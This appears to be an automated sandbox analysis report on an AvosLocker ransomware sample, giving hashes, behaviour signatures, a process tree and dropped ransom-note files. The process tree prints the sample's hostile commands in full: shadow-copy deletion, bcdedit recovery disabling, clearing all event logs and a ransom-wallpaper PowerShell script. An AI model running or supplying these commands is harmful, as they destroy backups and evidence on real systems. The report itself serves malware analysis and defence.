Overview

overview

10

Static

static

3

5d6e4bd7bd...fa.exe

windows7-x64

10

5d6e4bd7bd...fa.exe

windows10-2004-x64

10

Resubmissions

11-05-2023 15:49

230511-s9f6zsad87 10

11-05-2023 15:45

230511-s7b49agc64 10

03-05-2023 23:25

230503-3edsgsba4x 10

03-05-2023 11:43

230503-nv3n8aee94 10

Analysis

  • max time kernel
    73s
  • max time network
    30s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    11-05-2023 15:49

Sharing

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General

  • Target

    5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe

  • Size

    807KB

  • MD5

    1a23dd405a1bd4e488c5fb54f22e14ff

  • SHA1

    73b1d319fb361e591c2e6a65caaea73186f51193

  • SHA256

    5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa

  • SHA512

    b9ff21124e04ec7c9e5159cc7cc8ce1110b35941c7a1235b4bd55911ad17c03ace3ce1173e784e6154b09a6eb21da880b7f54886bda589e6293e69d92337f80b

  • SSDEEP

    12288:0Z4s3rg9u/2/oT+NXtHLlP/O+OeO+OeNhBBhhBBAtHg9rjI+LXJ0ivlzkHBDsYA:u4s+oT+NXBLi0rjFXvyHBlb4CZa8

Score
10/10
avoslockerevasionransomware

Malware Config

Signatures

  • Avoslocker Ransomware

    Avoslocker is a relatively new ransomware, that was observed in late June and early July, 2021.

    ransomwareavoslocker
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomware
  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
    ransomwareevasion
  • Modifies extensions of user files 8 IoCs

    Ransomware generally changes the extension on encrypted files.

    ransomware
  • Drops desktop.ini file(s) 1 IoCs
  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Drops file in Program Files directory 64 IoCs
  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Opens file in notepad (likely ransom note) 1 IoCs
    ransomware
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 45 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe
    "C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe"
    1⤵
    • Modifies extensions of user files
    • Drops desktop.ini file(s)
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1232
    • C:\Windows\system32\cmd.exe
      cmd /c wmic shadowcopy delete /nointeractive
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:912
      • C:\Windows\System32\Wbem\WMIC.exe
        wmic shadowcopy delete /nointeractive
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2420
    • C:\Windows\system32\cmd.exe
      cmd /c vssadmin.exe Delete Shadows /All /Quiet
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1236
      • C:\Windows\system32\vssadmin.exe
        vssadmin.exe Delete Shadows /All /Quiet
        3⤵
        • Interacts with shadow copies
        PID:2076
    • C:\Windows\system32\cmd.exe
      cmd /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1284
      • C:\Windows\system32\bcdedit.exe
        bcdedit /set {default} bootstatuspolicy ignoreallfailures
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:2168
    • C:\Windows\system32\cmd.exe
      cmd /c powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1660
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2992
    • C:\Windows\system32\cmd.exe
      cmd /c bcdedit /set {default} recoveryenabled No
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:908
      • C:\Windows\system32\bcdedit.exe
        bcdedit /set {default} recoveryenabled No
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:2344
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "$a = [System.IO.File]::ReadAllText(\"C:\GET_YOUR_FILES_BACK.txt\");Add-Type -AssemblyName System.Drawing;$filename = \"$env:temp\$(Get-Random).png\";$bmp = new-object System.Drawing.Bitmap 1920,1080;$font = new-object System.Drawing.Font Consolas,10;$brushBg = [System.Drawing.Brushes]::Black;$brushFg = [System.Drawing.Brushes]::White;$format = [System.Drawing.StringFormat]::GenericDefault;$format.Alignment = [System.Drawing.StringAlignment]::Center;$format.LineAlignment = [System.Drawing.StringAlignment]::Center;$graphics = [System.Drawing.Graphics]::FromImage($bmp);$graphics.FillRectangle($brushBg,0,0,$bmp.Width,$bmp.Height);$graphics.DrawString($a,$font,$brushFg,[System.Drawing.RectangleF]::FromLTRB(0, 0, 1920, 1080),$format);$graphics.Dispose();$bmp.Save($filename);reg add \"HKEY_CURRENT_USER\Control Panel\Desktop\" /v Wallpaper /t REG_SZ /d $filename /f;Start-Sleep 1;rundll32.exe user32.dll, UpdatePerUserSystemParameters, 0, $false;"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:3060
      • C:\Windows\system32\reg.exe
        "C:\Windows\system32\reg.exe" add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\1700332598.png /f
        3⤵
        • Sets desktop wallpaper using registry
        PID:3948
      • C:\Windows\system32\rundll32.exe
        "C:\Windows\system32\rundll32.exe" user32.dll UpdatePerUserSystemParameters 0 False
        3⤵
          PID:2528
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2492
    • C:\Windows\system32\NOTEPAD.EXE
      "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\GET_YOUR_FILES_BACK.txt
      1⤵
      • Opens file in notepad (likely ransom note)
      PID:3128

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • C:\GET_YOUR_FILES_BACK.txt
      Filesize

      1011B

      MD5

      064348106157ac3e6972ebe6852f665f

      SHA1

      4f95549af4873637f05f5f574b93605d30a28dbb

      SHA256

      876a6444eeb977c6d73be9474d3cc85307a0f68d4b342c2e59913172f80caa2a

      SHA512

      e121d453c52fa8aabc7a878649bc68dc25a2bd24861c3557c82d8182ea7ac2b9f9921b5caae950901d036dd77a437e65233cbe5add23dc8d2c7446431bb3ab33

      Download Submit

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
      Filesize

      7KB

      MD5

      37db35bb35a49d029a8e75c8c65b44f8

      SHA1

      0db3e4eebe23f270e865258ec50ec3f2c4fce270

      SHA256

      25fb9885b75d90e62e19bf05c0cbb69b533820196aacc09efa0a773ac16ed59c

      SHA512

      313eb372d02f4921432a519bca11c622fb561cfd2972eb4738e300ef556f1d61e394f890c3b7880e597ae32749792cd44f0681e6e07b253166ccdf478e891129

      Download Submit

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\EN5SGQ61K109RTDDN5BS.temp
      Filesize

      7KB

      MD5

      37db35bb35a49d029a8e75c8c65b44f8

      SHA1

      0db3e4eebe23f270e865258ec50ec3f2c4fce270

      SHA256

      25fb9885b75d90e62e19bf05c0cbb69b533820196aacc09efa0a773ac16ed59c

      SHA512

      313eb372d02f4921432a519bca11c622fb561cfd2972eb4738e300ef556f1d61e394f890c3b7880e597ae32749792cd44f0681e6e07b253166ccdf478e891129

      Download Submit

    • C:\Users\Admin\Desktop\GET_YOUR_FILES_BACK.txt
      Filesize

      1011B

      MD5

      064348106157ac3e6972ebe6852f665f

      SHA1

      4f95549af4873637f05f5f574b93605d30a28dbb

      SHA256

      876a6444eeb977c6d73be9474d3cc85307a0f68d4b342c2e59913172f80caa2a

      SHA512

      e121d453c52fa8aabc7a878649bc68dc25a2bd24861c3557c82d8182ea7ac2b9f9921b5caae950901d036dd77a437e65233cbe5add23dc8d2c7446431bb3ab33

      Download Submit

    • \??\PIPE\srvsvc
      MD5

      d41d8cd98f00b204e9800998ecf8427e

      SHA1

      da39a3ee5e6b4b0d3255bfef95601890afd80709

      SHA256

      e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

      SHA512

      cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

      Download Submit

    • \Device\HarddiskVolume1\Boot\GET_YOUR_FILES_BACK.txt
      Filesize

      1011B

      MD5

      064348106157ac3e6972ebe6852f665f

      SHA1

      4f95549af4873637f05f5f574b93605d30a28dbb

      SHA256

      876a6444eeb977c6d73be9474d3cc85307a0f68d4b342c2e59913172f80caa2a

      SHA512

      e121d453c52fa8aabc7a878649bc68dc25a2bd24861c3557c82d8182ea7ac2b9f9921b5caae950901d036dd77a437e65233cbe5add23dc8d2c7446431bb3ab33

      Download Submit

    • memory/2992-1297-0x0000000002350000-0x00000000023D0000-memory.dmp

      Filesize

      512KB

      Download

    • memory/2992-1504-0x0000000002350000-0x00000000023D0000-memory.dmp

      Filesize

      512KB

      Download

    • memory/2992-1334-0x0000000002350000-0x00000000023D0000-memory.dmp

      Filesize

      512KB

      Download

    • memory/2992-1327-0x0000000002350000-0x00000000023D0000-memory.dmp

      Filesize

      512KB

      Download

    • memory/2992-1080-0x0000000002310000-0x0000000002318000-memory.dmp

      Filesize

      32KB

      Download

    • memory/2992-1007-0x000000001B280000-0x000000001B562000-memory.dmp

      Filesize

      2.9MB

      Download

    • memory/3060-24550-0x000000001B0D0000-0x000000001B3B2000-memory.dmp

      Filesize

      2.9MB

      Download

    • memory/3060-24551-0x0000000002460000-0x0000000002468000-memory.dmp

      Filesize

      32KB

      Download

    • memory/3060-24553-0x0000000002870000-0x00000000028F0000-memory.dmp

      Filesize

      512KB

      Download